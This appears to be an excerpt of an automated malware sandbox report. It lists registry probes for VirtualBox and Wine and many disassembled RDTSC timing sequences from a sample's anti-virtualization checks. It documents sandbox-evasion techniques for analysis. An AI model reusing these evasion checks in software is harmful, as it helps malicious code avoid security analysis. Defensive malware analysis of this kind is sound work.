Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: CECF64 second address: CECF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F47311907A6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: CECF71 second address: CEC76E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c pushad 0x0000000d mov cl, ah 0x0000000f cmc 0x00000010 popad 0x00000011 push dword ptr [ebp+122D0631h] 0x00000017 cmc 0x00000018 call dword ptr [ebp+122D2363h] 0x0000001e pushad 0x0000001f jmp 00007F473118FE5Eh 0x00000024 or dword ptr [ebp+122D1FF0h], esi 0x0000002a xor eax, eax 0x0000002c add dword ptr [ebp+122D1FF0h], edx 0x00000032 mov edx, dword ptr [esp+28h] 0x00000036 stc 0x00000037 mov dword ptr [ebp+122D3486h], eax 0x0000003d mov dword ptr [ebp+122D2EB7h], edi 0x00000043 mov esi, 0000003Ch 0x00000048 jbe 00007F473118FE5Ch 0x0000004e jnp 00007F473118FE57h 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 or dword ptr [ebp+122D1FF0h], eax 0x0000005e lodsw 0x00000060 stc 0x00000061 add eax, dword ptr [esp+24h] 0x00000065 mov dword ptr [ebp+122D2EB7h], ebx 0x0000006b mov ebx, dword ptr [esp+24h] 0x0000006f mov dword ptr [ebp+122D1FF0h], edx 0x00000075 nop 0x00000076 pushad 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: CEC76E second address: CEC79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jns 00007F47311907ACh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F47311907B9h 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E68D7B second address: E68D80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E69060 second address: E69065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E69065 second address: E69072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007F473118FE56h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E69072 second address: E690A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F47311907B7h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F47311907B2h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E690A7 second address: E690AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E69217 second address: E6923F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47311907B0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F47311907B2h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E693E3 second address: E693FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pushad 0x00000007 jmp 00007F473118FE63h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B882 second address: E6B886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B93B second address: E6B941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B941 second address: E6B945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B945 second address: E6B953 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B953 second address: E6B95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B95A second address: E6B97D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B97D second address: E6B981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6B981 second address: E6B987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6BB52 second address: E6BB5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F47311907A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6BB5D second address: E6BB62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E7E372 second address: E7E39F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907ADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F47311907B4h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8AEC5 second address: E8AEF9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b je 00007F473118FEA8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F473118FE65h 0x00000018 jmp 00007F473118FE5Ch 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8AEF9 second address: E8AEFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8AEFD second address: E8AF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B035 second address: E8B045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F47311907A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B045 second address: E8B053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F473118FE5Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B053 second address: E8B06E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jc 00007F47311907A6h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F47311907A6h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B8A6 second address: E8B8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B8AC second address: E8B8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8B8B7 second address: E8B8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA45 second address: E8BA62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B3h 0x00000007 jl 00007F47311907A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA62 second address: E8BA85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F473118FE56h 0x0000000b pop edi 0x0000000c jmp 00007F473118FE5Bh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jo 00007F473118FE86h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA85 second address: E8BA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA8B second address: E8BA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA8F second address: E8BA93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BA93 second address: E8BAA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F473118FE5Ch 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BC0E second address: E8BC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BC16 second address: E8BC1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5978C second address: E59792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E59792 second address: E597A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 js 00007F473118FE7Ah 0x0000000c push esi 0x0000000d jbe 00007F473118FE56h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BEBD second address: E8BEC9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F47311907A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BEC9 second address: E8BEEC instructions: 0x00000000 rdtsc 0x00000002 je 00007F473118FE6Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BEEC second address: E8BF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907B1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BF01 second address: E8BF0B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F473118FE56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BF0B second address: E8BF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F47311907AEh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8BF23 second address: E8BF66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F473118FE5Fh 0x0000000a jmp 00007F473118FE63h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F473118FE68h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8C50D second address: E8C512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8C643 second address: E8C649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8C649 second address: E8C64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8C977 second address: E8C9C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F473118FE68h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jno 00007F473118FE5Eh 0x00000012 push eax 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop eax 0x00000016 popad 0x00000017 push esi 0x00000018 jmp 00007F473118FE65h 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E8C9C3 second address: E8C9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E90A96 second address: E90A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9614F second address: E96153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E96153 second address: E96177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE65h 0x00000007 jo 00007F473118FE56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E96177 second address: E96183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F47311907A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E63984 second address: E6398C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E6398C second address: E63992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E63992 second address: E63998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99BB4 second address: E99BB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99BB8 second address: E99BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99BC7 second address: E99BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F47311907B0h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99BDE second address: E99BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99037 second address: E9903E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99347 second address: E9934D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99789 second address: E9978E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E99A27 second address: E99A2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9C6AB second address: E9C6B5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9C818 second address: E9C81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9C81D second address: E9C824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9D2F8 second address: E9D2FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9D416 second address: E9D41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9D4C5 second address: E9D4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9DD0B second address: E9DD0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9E617 second address: E9E61C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9E47F second address: E9E490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907ACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA0D26 second address: EA0D31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F473118FE56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA1557 second address: EA155B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA213D second address: EA2141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA155B second address: EA1561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA2141 second address: EA214E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA214E second address: EA2153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA4940 second address: EA4946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA2153 second address: EA2164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F47311907ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA4946 second address: EA494A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA8864 second address: EA8875 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EA8875 second address: EA887A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EABA65 second address: EABA6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E56095 second address: E5609B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EAD12F second address: EAD13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
